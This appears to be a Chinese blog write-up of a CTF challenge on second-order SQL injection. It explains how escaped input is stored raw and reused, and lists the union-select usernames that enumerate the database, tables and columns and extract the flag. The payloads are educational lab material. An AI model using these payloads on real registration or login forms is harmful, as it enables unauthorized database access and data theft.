当前位置:网站首页>October 2019 Twice SQL Injection
October 2019 Twice SQL Injection
2022-08-03 21:55:00 【茶经新读.】
October 2019 Twice SQL Injection
题目提示我们是二次注入(SQL注入(二次注入) - 知乎),二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。
二次注入的原理:
在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或者是借助get_magic_quotes_gpc对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加"\"进行转义,但是"\"并不会插入到数据库中,再写入数据库的时候还是保留了原来的数据。
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候直接从数据库中取除了“脏”数据,并没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中有单引号,直接插入到了数据库中;然后再下一次使用中在拼凑的过程中就形成了二次注入。

随意注册一个账户然后登录,输入sql语句,发现服务器将我们的单引号用\转义,并没有过滤关键字

这时我们需要注册恶意用户名来登录获得我们想知道的内容
注册用户名为1' union select database() #,密码为a的用户

返回到登录页面输入刚才注册的用户名(1' union select database() #)和密码(a)

登录发现爆出了数据库ctftraining

使用同样的方法来爆表:用户名:1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #,密码:a,注册登录


得到flag,news,users三个表

查一下flag表的字段:用户名:1' union select group_concat(column_name) from information_schema.columns where table_name='flag' #,密码:a,同样的注册登录


得到flag字段

查看一下flag字段的内容:用户名:1' union select flag from flag #,密码:a


得到flag

至此结束,撒花
边栏推荐
- XSS测试
- FVCOM 3D Numerical Simulation of Hydrodynamics, Water Exchange, Dispersion and Transport of Oil Spills丨FVCOM Model Watershed, Numerical Simulation Method of Marine Water Environment
- 易基因:植物宏病毒组研究:植物病毒的进化与生态 | 顶刊综述
- Kubernetes入门到精通-Operator 模式
- 东西向和南北向通信的统一
- 一文带你了解软件测试是干什么的?薪资高不高?0基础怎么学?
- 从0到1看支付
- XSS holes emersion
- [kali-vulnerability exploitation] (3.2) Metasploit basics (on): basic knowledge
- DO280管理和监控OpenShift平台--资源限制
猜你喜欢
随机推荐
CAS:1260586-88-6_生物素-C5-叠氮_Biotin-C5-Azide
今晚直播 | 8.2-8.4 与你聊聊开源与就业那些事!
【云原生实用技巧】使用 skopeo 批量同步 helm chart 依赖镜像
模板字符串
Security Fundamentals 8 --- XSS
【历史上的今天】8 月 3 日:微软研究院的创始人诞生;陌陌正式上线;苹果发布 Newton OS
4. 模块化编程
buildscript和allprojects的作用和区别是什么?
FVCOM 3D Numerical Simulation of Hydrodynamics, Water Exchange, Dispersion and Transport of Oil Spills丨FVCOM Model Watershed, Numerical Simulation Method of Marine Water Environment
码率vs.分辨率,哪一个更重要?
IO thread process -> thread synchronization mutual exclusion mechanism -> day6
【Unity3D】Tank对战
Data_web(九)mongodb增量同步到mongodb
关于GPIO你真的懂了吗?这篇文章都给你整理好了
CAS: 773888-45-2_BIOTIN ALKYNE_生物素-炔基
Nacos配置文件管理、微服务获取Nacos配置文件
易基因:植物宏病毒组研究:植物病毒的进化与生态 | 顶刊综述
字节跳动软件测试岗,前两面过了,第三面HR天坑,结局透心凉...
488. Zuma Game
E - Swap









